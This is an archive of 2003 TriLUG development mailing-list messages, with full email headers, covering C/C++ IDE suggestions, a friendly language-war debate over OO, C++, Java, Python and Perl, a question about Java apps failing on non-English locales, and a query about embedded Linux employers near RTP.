2003-05-22 at 08:52, Roy Vestal wrote: > Any recommendations on C and C++ IDE's? I'm used to DJGPP and M$ Visual > C++. I've looked at KDevelop, but I want something that's not > Desktop/Window Manager dependant. > > I know that EMACS and VI can be used that way, but I'd like to see gui's > too. If you have any links for useing emacs and vi, please let me know. -- David A. Cafaro Sys Admin to User: "You did what?!?" From john@radiomind.com Thu May 22 10:48:25 2003 Return-Path: Delivered-To: dev@trilug.org Received: from albatross.mail.pas.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by moya.trilug.org (Postfix) with ESMTP id 57E52A002C for ; Thu, 22 May 2003 10:48:25 -0400 (EDT) Received: from user-2ivf41c.dialup.mindspring.com ([165.247.144.44] helo=marconi.radiomind.com) by albatross.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 19IrMm-0002x3-00 for dev@trilug.org; Thu, 22 May 2003 07:48:24 -0700 Received: from radiomind.com (marconi.radiomind.com [192.168.121.254]) by marconi.radiomind.com (Postfix) with ESMTP id 90EEF10C009 for ; Thu, 22 May 2003 10:48:23 -0400 (EDT) Message-ID: <3ECCE2EC.40209@radiomind.com> Date: Thu, 22 May 2003 10:47:08 -0400 From: John Beimler User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030313 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] C, C++ IDE's References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Roy Vestal wrote: >Any recommendations on C and C++ IDE's? I'm used to DJGPP and M$ Visual >C++. I've looked at KDevelop, but I want something that's not >Desktop/Window Manager dependant. > > > Eclipse does that, and has really nice CVS integration. Here's an article about moving from Emacs to Eclipse: http://www.beyondcode.org/articles/eclipse.html Eclipse is an IBM project and is at: http://www.eclipse.org/ Peace. john From lovelace@wayfarer.org Fri May 23 23:52:54 2003 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rrcs-midsouth-24-172-56-10.biz.rr.com [24.172.56.10]) by moya.trilug.org (Postfix) with ESMTP id 4677FA002C; Fri, 23 May 2003 23:52:54 -0400 (EDT) Received: by maddux.wayfarer.org (Postfix, from userid 501) id C6C4357F8F; Fri, 23 May 2003 23:55:37 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by maddux.wayfarer.org (Postfix) with ESMTP id ACC9A5FD14; Fri, 23 May 2003 23:55:37 -0400 (EDT) Date: Fri, 23 May 2003 23:55:37 -0400 (EDT) From: Tanner Lovelace To: trilug@trilug.org Cc: dev@trilug.org In-Reply-To: <3ECE84D1.6080105@bellsouth.net> Message-ID: References: <3ECE1EB5.2000408@bellsouth.net> <1053715568.10548.196.camel@fullbeast> <3ECE7184.2040803@bellsouth.net> <1053720211.2505.71.camel@anncons> <3ECE84D1.6080105@bellsouth.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Fri, 23 May 2003, bp wrote: > What's C? Just kidding. I'm hoping to completely forget C as soon as > possible. That way I can spend all my hours better understanding Java > just in time for the next great OO language to come out... Or, you could realize that OO isn't the end-all/be-all of programming paradigms and switch to a multi-paradigm language (hmm... what could that be..? Oh, right, C++. The most advanced language out there O:-) :-) Seriously, though. OO is very often not appropriate for things. When it is, it works really well. When it's not, it's like trying to fit the square block through the round hole. You shouldn't think that one language will solve all your problems. There are times when Java is a good language and times when it is not. Sometimes scripting languages like perl or python are the best. C++ is useful a lot of time. And, if you're writing low level stuff like a kernel, C is most likely the appropriate language (but not when you're writing widget sets, for crying out loud!). If you're interested in discussing this more, btw, let's continue this discussion on the Trilug development list instead of starting yet another long, drawn out thread here on the main list. (See the "CC:" field above.) Cheers, Tanner Lovelace -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- He who receives an idea from me, receives instruction himself without lessening mine; as he who lights his taper at mine, receives light without darkening me. -- Thomas Jefferson Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From dianaduncan@nc.rr.com Sat May 24 11:30:32 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83]) by moya.trilug.org (Postfix) with ESMTP id 4EB8CA002C for ; Sat, 24 May 2003 11:30:32 -0400 (EDT) Received: from nc.rr.com (rrcs-midsouth-24-199-214-217.biz.rr.com [24.199.214.217]) by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h4OFS3Yf026312 for ; Sat, 24 May 2003 11:28:04 -0400 (EDT) Date: Sat, 24 May 2003 11:30:31 -0400 Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Diana Duncan To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Oh, I so, so, so agree with you, Tanner. One of the worst applications of OO is using it as a "wrapper" around relational database objects. There is no better guarantee of poor performance for your application. And yet, I'm too often called in to "tune" the database for these applications. How? Basically, the design removes all the power of whatever database engine you are using, and reduces the RDBMS to acting as a souped-up flat-file database. Yuck. The only way to tune that is to throw hardware at it, and as 80% of tuning is done via SQL, you've lost your most powerful tuning tool. When cooking in the kitchen, do you use just one knife for everything, one pot and one burner on the stove? Sure, you can cook like that, but it's limiting. OO evangelism makes for limited, blinder-wearing software designers. Diana On Friday, May 23, 2003, at 23:55 US/Eastern, Tanner Lovelace wrote: > On Fri, 23 May 2003, bp wrote: > >> What's C? Just kidding. I'm hoping to completely forget C as soon as >> possible. That way I can spend all my hours better understanding Java >> just in time for the next great OO language to come out... > > > > Or, you could realize that OO isn't the end-all/be-all of programming > paradigms and switch to a multi-paradigm language (hmm... what could > that be..? Oh, right, C++. The most advanced language out there O:-) > > :-) > > > > Seriously, though. OO is very often not appropriate for things. > When it is, it works really well. When it's not, it's like trying > to fit the square block through the round hole. You shouldn't > think that one language will solve all your problems. There are > times when Java is a good language and times when it is not. > Sometimes scripting languages like perl or python are the best. > C++ is useful a lot of time. And, if you're writing low level > stuff like a kernel, C is most likely the appropriate language > (but not when you're writing widget sets, for crying out loud!). > > If you're interested in discussing this more, btw, let's continue > this discussion on the Trilug development list instead of > starting yet another long, drawn out thread here on the main list. > (See the "CC:" field above.) > > Cheers, > Tanner Lovelace > -- > Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ > --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- > He who receives an idea from me, receives instruction himself > without lessening mine; as he who lights his taper at mine, > receives light without darkening me. -- Thomas Jefferson > > Those who are willing to sacrifice essential liberties for a little > order, will lose both and deserve neither. - Benjamin Franklin > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > From dave@matusiak.org Sat May 24 13:08:07 2003 Return-Path: Delivered-To: dev@trilug.org Received: from mango.he.net (mango.he.net [66.220.11.34]) by moya.trilug.org (Postfix) with ESMTP id B68DEA002C for ; Sat, 24 May 2003 13:08:06 -0400 (EDT) Received: from matusiak.org (dsl093-240-234.ral1.dsl.speakeasy.net [66.93.240.234]) by mango.he.net (8.8.6p2003-03-31/8.8.2) with ESMTP id KAA05255 for ; Sat, 24 May 2003 10:08:03 -0700 Date: Sat, 24 May 2003 13:08:04 -0400 Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: "David R. Matusiak" To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> X-Mailer: Apple Mail (2.552) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Oh-Oh RULES!! and that is that!! seriously, i have no idea what y'all are talking about, but i thought the topic was interesting, so i joined the dev list. he he he. i will go back to being quiet and sitting in the corner... On Saturday, May 24, 2003, at 11:30 AM, Diana Duncan wrote: > Oh, I so, so, so agree with you, Tanner. One of the worst > applications of OO is using it as a "wrapper" around relational > database objects. There is no better guarantee of poor performance > for your application. And yet, I'm too often called in to "tune" the > database for these applications. How? Basically, the design removes > all the power of whatever database engine you are using, and reduces > the RDBMS to acting as a souped-up flat-file database. Yuck. The > only way to tune that is to throw hardware at it, and as 80% of tuning > is done via SQL, you've lost your most powerful tuning tool. > > When cooking in the kitchen, do you use just one knife for everything, > one pot and one burner on the stove? Sure, you can cook like that, > but it's limiting. OO evangelism makes for limited, blinder-wearing > software designers. > > Diana > > On Friday, May 23, 2003, at 23:55 US/Eastern, Tanner Lovelace wrote: > >> On Fri, 23 May 2003, bp wrote: >> >>> What's C? Just kidding. I'm hoping to completely forget C as soon >>> as >>> possible. That way I can spend all my hours better understanding >>> Java >>> just in time for the next great OO language to come out... >> >> >> >> Or, you could realize that OO isn't the end-all/be-all of programming >> paradigms and switch to a multi-paradigm language (hmm... what could >> that be..? Oh, right, C++. The most advanced language out there O:-) >> >> :-) >> >> >> >> Seriously, though. OO is very often not appropriate for things. >> When it is, it works really well. When it's not, it's like trying >> to fit the square block through the round hole. You shouldn't >> think that one language will solve all your problems. There are >> times when Java is a good language and times when it is not. >> Sometimes scripting languages like perl or python are the best. >> C++ is useful a lot of time. And, if you're writing low level >> stuff like a kernel, C is most likely the appropriate language >> (but not when you're writing widget sets, for crying out loud!). >> >> If you're interested in discussing this more, btw, let's continue >> this discussion on the Trilug development list instead of >> starting yet another long, drawn out thread here on the main list. >> (See the "CC:" field above.) >> >> Cheers, >> Tanner Lovelace From john@radiomind.com Sat May 24 14:38:01 2003 Return-Path: Delivered-To: dev@trilug.org Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by moya.trilug.org (Postfix) with ESMTP id A92BAA002C for ; Sat, 24 May 2003 14:38:01 -0400 (EDT) Received: from user-2ivf41c.dialup.mindspring.com ([165.247.144.44] helo=marconi.radiomind.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 19Jdu4-0002Jp-00 for dev@trilug.org; Sat, 24 May 2003 11:38:00 -0700 Received: from radiomind.com (marconi.radiomind.com [192.168.121.254]) by marconi.radiomind.com (Postfix) with ESMTP id A497C10C008 for ; Sat, 24 May 2003 14:37:58 -0400 (EDT) Message-ID: <3ECFB917.10306@radiomind.com> Date: Sat, 24 May 2003 14:25:27 -0400 From: John Beimler User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030313 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software References: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> In-Reply-To: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Ok, wasn't going to respond, but Matusiak goaded me into it. C++ is just COBOL of the 1990's. Take all the bad parts from OO, and plug in assembly language, and you end up with a mess, or you can call it C++. I'd recomend the Unix hater's handbook (http://research.microsoft.com/~daniel/unix-haters.html) to see all that is wrong with C++. On the other hand, people who just use a subset of C++, its not horrible. Of course most of the decent features in C++ can be faked in C, so why add the overhead? Smalltalk and Lisp are Real OO programming languages. If you're tangentally interested in learning OO programming, my personal favorite right now is Python (http://python.org). It is mostly OO, and moving towards being completely object based. There are lots of tutorials out there, and the language is freely available. Peace. john From tbryan@python.net Sat May 24 17:12:50 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83]) by moya.trilug.org (Postfix) with ESMTP id B00F5A002C for ; Sat, 24 May 2003 17:12:50 -0400 (EDT) Received: from inigo (rdu26-90-238.nc.rr.com [66.26.90.238]) by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h4OLAKYf011445 for ; Sat, 24 May 2003 17:10:21 -0400 (EDT) Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Date: Sat, 24 May 2003 17:12:12 +0000 User-Agent: KMail/1.4.1 References: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> In-Reply-To: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200305241712.13113.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 24 May 2003 05:08 pm, David R. Matusiak wrote: > Oh-Oh RULES!! and that is that!! > > seriously, i have no idea what y'all are talking about, but i thought > the topic was interesting, so i joined the dev list. he he he. i will > go back to being quiet and sitting in the corner... Someone once recommended the book Object Technology: A Manager's Guide (2nd Edition), by David Taylor, as a good overview of OOP for non-technical folks. I haven't read it, so I can't really comment on the quality. It may be interesting if you're interested in programming concepts but aren't yet a programmer. ---Tom From tbryan@python.net Sat May 24 17:19:32 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83]) by moya.trilug.org (Postfix) with ESMTP id 5C9E0A002C for ; Sat, 24 May 2003 17:19:32 -0400 (EDT) Received: from inigo (rdu26-90-238.nc.rr.com [66.26.90.238]) by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h4OLH2Yf014108 for ; Sat, 24 May 2003 17:17:02 -0400 (EDT) Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Date: Sat, 24 May 2003 17:18:55 +0000 User-Agent: KMail/1.4.1 References: <481BE8AA-8E0A-11D7-8C5E-000393D1D172@matusiak.org> <3ECFB917.10306@radiomind.com> In-Reply-To: <3ECFB917.10306@radiomind.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200305241718.55057.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 24 May 2003 06:25 pm, John Beimler wrote: > Ok, wasn't going to respond, but Matusiak goaded me into it. C++ is just > COBOL of the 1990's. Take all the bad parts from OO, and plug in > assembly language, and you end up with a mess, or you can call it C++. I'll try not to be dragged into a language war. :) > tangentally interested in learning OO programming, my personal favorite > right now is Python (http://python.org). It is mostly OO, and moving > towards being completely object based. There are lots of tutorials out > there, and the language is freely available. So is the community. ;-) I just thought I'd take this opportunity to put in a plug for the local Python user group: http://dev.zope.org/Members/tbryan/TriZPUG/FrontPage The next meeting is this Wednesday. ---Tom From bpevans@bellsouth.net Sun May 25 22:04:35 2003 Return-Path: Delivered-To: dev@trilug.org Received: from imf56bis.bellsouth.net (mail142.mail.bellsouth.net [205.152.58.102]) by moya.trilug.org (Postfix) with ESMTP id 75561A002C for ; Sun, 25 May 2003 22:04:35 -0400 (EDT) Received: from bellsouth.net ([68.18.20.228]) by imf56bis.bellsouth.net (InterMail vM.5.01.04.25 201-253-122-122-125-20020815) with ESMTP id <20030526020648.UIKO1499.imf56bis.bellsouth.net@bellsouth.net> for ; Sun, 25 May 2003 22:06:48 -0400 Message-ID: <3ED1762D.8050504@bellsouth.net> Date: Sun, 25 May 2003 22:04:29 -0400 From: "B. Evans" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org References: <3ECE1EB5.2000408@bellsouth.net> <1053715568.10548.196.camel@fullbeast> <3ECE7184.2040803@bellsouth.net> <1053720211.2505.71.camel@anncons> <3ECE84D1.6080105@bellsouth.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Tanner Lovelace wrote: >On Fri, 23 May 2003, bp wrote: >What's C? Just kidding. I'm hoping to completely forget C as soon as >possible. That way I can spend all my hours better understanding Java >just in time for the next great OO language to come out... > > > > > >Or, you could realize that OO isn't the end-all/be-all of programming >paradigms and switch to a multi-paradigm language (hmm... what could >that be..? Oh, right, C++. The most advanced language out there O:-) > >:-) > > > I didn't mean to sound like a moron, but was rather making light of Jon's comment about doing the app I proposed in C. I've written C & C++ through school and a time or two with Cisco but all I do now is J2EE stuff. As for C++ being the most advanced, sure - but it's also much tougher to fully understand than Java. >Seriously, though. OO is very often not appropriate for things. >When it is, it works really well. When it's not, it's like trying >to fit the square block through the round hole. You shouldn't >think that one language will solve all your problems. There are >times when Java is a good language and times when it is not. >Sometimes scripting languages like perl or python are the best. >C++ is useful a lot of time. And, if you're writing low level >stuff like a kernel, C is most likely the appropriate language >(but not when you're writing widget sets, for crying out loud!). > With a big enough hammer and enough nails who really ever needs screws? Just kidding. >If you're interested in discussing this more, btw, let's continue >this discussion on the Trilug development list instead of >starting yet another long, drawn out thread here on the main list. >(See the "CC:" field above.) > >Cheers, >Tanner Lovelace > I fully understand that C will have it's place (and be superior) for a good long time to come. For me though, C/C++ aren't a required job skill. Java pays the bills and more expertise in Java helps so I'll stick to Java for now. The hardware guys will understandably stick to C. I'm sure C++ is good for something too. I do still write a lot of Perl and sh scripts but those are mostly on the side. (Does anyone really consider these real programming languages now? IT work sure, but bundled / sold apps?) Even seasoned Java-hating programmers have to admit that Java has come a long way performance wise. New to the dev list now. -bp From bpevans@bellsouth.net Tue Jun 3 16:23:58 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ellsworth.raleigh.ibm.com (bi01p1.nc.us.ibm.com [129.33.49.251]) by moya.trilug.org (Postfix) with ESMTP id 99991A0143 for ; Tue, 3 Jun 2003 16:23:58 -0400 (EDT) Received: from bellsouth.net (bpevans.raleigh.ibm.com [9.27.134.239]) by ellsworth.raleigh.ibm.com (Postfix) with ESMTP id 487B43F046 for ; Tue, 3 Jun 2003 16:24:03 -0400 (EDT) Message-ID: <3EDD03D8.8010503@bellsouth.net> Date: Tue, 03 Jun 2003 16:23:52 -0400 From: bp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] Clear explanation on why LANG matters to Apps? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Excuse my ignorance, but when I install some J2EE/WebSphere app on a Linux machine setup in Spanish (or any other non-english language) what really causes it not to work? Are apps typically written for English because of the path differences on a Spanish install? Is Java unable to parse properties files in Spanish...? Just looking for a concise technical idea of what makes an app language dependent. My first assumption would be that it *should* work but acknowledge that any output would be spit out in English... but it seems Java takes exception (pun intended) to it's non-English appserver. -bp From tbryan@python.net Tue Jun 3 23:37:30 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-01.southeast.rr.com (ms-smtp-01.southeast.rr.com [24.93.67.82]) by moya.trilug.org (Postfix) with ESMTP id AC6ECA002C for ; Tue, 3 Jun 2003 23:37:30 -0400 (EDT) Received: from inigo (rdu26-90-102.nc.rr.com [66.26.90.102]) by ms-smtp-01.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h543W65J028280 for ; Tue, 3 Jun 2003 23:32:06 -0400 (EDT) Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Clear explanation on why LANG matters to Apps? Date: Tue, 3 Jun 2003 23:36:57 +0000 User-Agent: KMail/1.4.1 References: <3EDD03D8.8010503@bellsouth.net> In-Reply-To: <3EDD03D8.8010503@bellsouth.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200306032336.37485.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 03 June 2003 08:23 pm, bp wrote: > Excuse my ignorance, but when I install some J2EE/WebSphere app on a > Linux machine setup in Spanish (or any other non-english language) Sorry, maybe I missed part of this conversation... You have a box whose default language setting is Spanish. You install WebSphere or some other J2EE server. The J2EE server runs fine. Now, you try to install some app written for that app server, and that particular Java app does not work correctly? Is that correct? > what really causes it not to work? Wow! That sounds like a bug report from one of my company's customers. :-) > Are apps typically written for English > because of the path differences on a Spanish install? I don't have a Spanish install. Are the basic paths really different? > Is Java unable to parse properties files in Spanish...? Well, if the app hasn't been localized at all, then all of the strings are hard-coded. It'll work in any language configuration, but you'll just get all of your text in whatever language the coder wrote the strings. If the app does load its strings from properties files, it's possible that there is no properties file for the language and locale of the machine/user who is running the app. I've done very little with Java localization, but I thought that Java defaulted to *something* when it couldn't find an appropriate localization properties file. > Just looking for a concise technical idea of what makes an app language > dependent. My first assumption would be that it *should* work but > acknowledge that any output would be spit out in English... That would be the case if the developer didn't even try to code it for internationalization and wrote all of his strings in English. > but it > seems Java takes exception (pun intended) to it's non-English appserver. What exception? For exapmle, maybe the developer internationalized the app and translated his properties files into Spanish. Now he adds new properties to the English properties files. Now he ships. Oops. The app will fail to find some of its properties in the Spanish properties files. I think that's a runtime error for Java. That's an example of something that could go wrong. It would really help to have a stacktrace. ---Tom From jeremyp@pobox.com Tue Jun 17 17:44:47 2003 Return-Path: Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id F04ABA002C for ; Tue, 17 Jun 2003 17:44:46 -0400 (EDT) Subject: Re: [Dev] Re: [TriLUG] Server Check-Out / In-Use-Register software From: Jeremy Portzer To: dev@trilug.org In-Reply-To: <3ED1762D.8050504@bellsouth.net> References: <3ECE1EB5.2000408@bellsouth.net> <1053715568.10548.196.camel@fullbeast> <3ECE7184.2040803@bellsouth.net> <1053720211.2505.71.camel@anncons> <3ECE84D1.6080105@bellsouth.net> <3ED1762D.8050504@bellsouth.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-MCrGicjTs7NMhHr20E7c" Organization: Message-Id: <1055886278.17220.83.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 17 Jun 2003 17:44:38 -0400 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-MCrGicjTs7NMhHr20E7c Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2003-05-25 at 22:04, B. Evans wrote: > > > I fully understand that C will have it's place (and be superior) for a=20 > good long time to come. For me though, C/C++ aren't a required job=20 > skill. Java pays the bills and more expertise in Java helps so I'll=20 > stick to Java for now. The hardware guys will understandably stick to=20 > C. I'm sure C++ is good for something too. I do still write a lot of=20 > Perl and sh scripts but those are mostly on the side. (Does anyone=20 > really consider these real programming languages now? IT work sure, but=20 > bundled / sold apps?) Even seasoned Java-hating programmers have to=20 > admit that Java has come a long way performance wise.=20 >=20 Yeah, so I'm responding to this post almost a month late (cleaning out old e-mail) but I thought I would add my $0.02 about Perl and sh being "real" programming languages. I administer a moderate to large sized application that's written almost entirely in Perl scripts; it's a web application with Apache and mod_perl. It is definitely a "real programming language" and it works quite well. $ wc `find -name '*.pl'; find -name '*.pm'` |tail -1 149244 469874 4822030 total 149,000 lines of Perl isn't too shabby! However, the developers of that application have expressed an interest in moving to Java with Tomcat servlets for future additions and work (though they'll continue to maintain the existing code in Perl.) --Jeremy --=20 /=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D/ --=-MCrGicjTs7NMhHr20E7c Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+74vGb5/3vMwae5IRAjyzAKCWkctPrdlniqd4983cRg+f5fWv2QCgx2Pr fISl5EFnIBKF7BI6cK/Ish4= =lwhE -----END PGP SIGNATURE----- --=-MCrGicjTs7NMhHr20E7c-- From bauld@nc.rr.com Mon Aug 11 16:12:56 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-01.southeast.rr.com (ms-smtp-01.southeast.rr.com [24.93.67.82]) by moya.trilug.org (Postfix) with ESMTP id 99941A0225 for ; Mon, 11 Aug 2003 16:12:56 -0400 (EDT) Received: from brianslaptopa (cpe-024-211-175-070.nc.rr.com [24.211.175.70]) by ms-smtp-01.southeast.rr.com (8.12.5/8.12.2) with SMTP id h7BK6Gos026607 for ; Mon, 11 Aug 2003 16:06:16 -0400 (EDT) Message-ID: <026601c36044$f39e3420$6601a8c0@brianslaptopa> From: "Brian Auld" To: Date: Mon, 11 Aug 2003 16:12:55 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0263_01C36023.6C2AC510" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Is this list alive? X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 20:12:57 -0000 This is a multi-part message in MIME format. ------=_NextPart_000_0263_01C36023.6C2AC510 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is this list alive or am I just not receiving any posts? Does anyone know of any RTP companies that are into embedded linux? I've = heard Tekelec as one, but no others. It seems odd that there is a lot of = hoopla in tech circles about embedded linux as a core platform going = forward, but I see no evidence of it being used in RTP - what gives? Regards, Brian 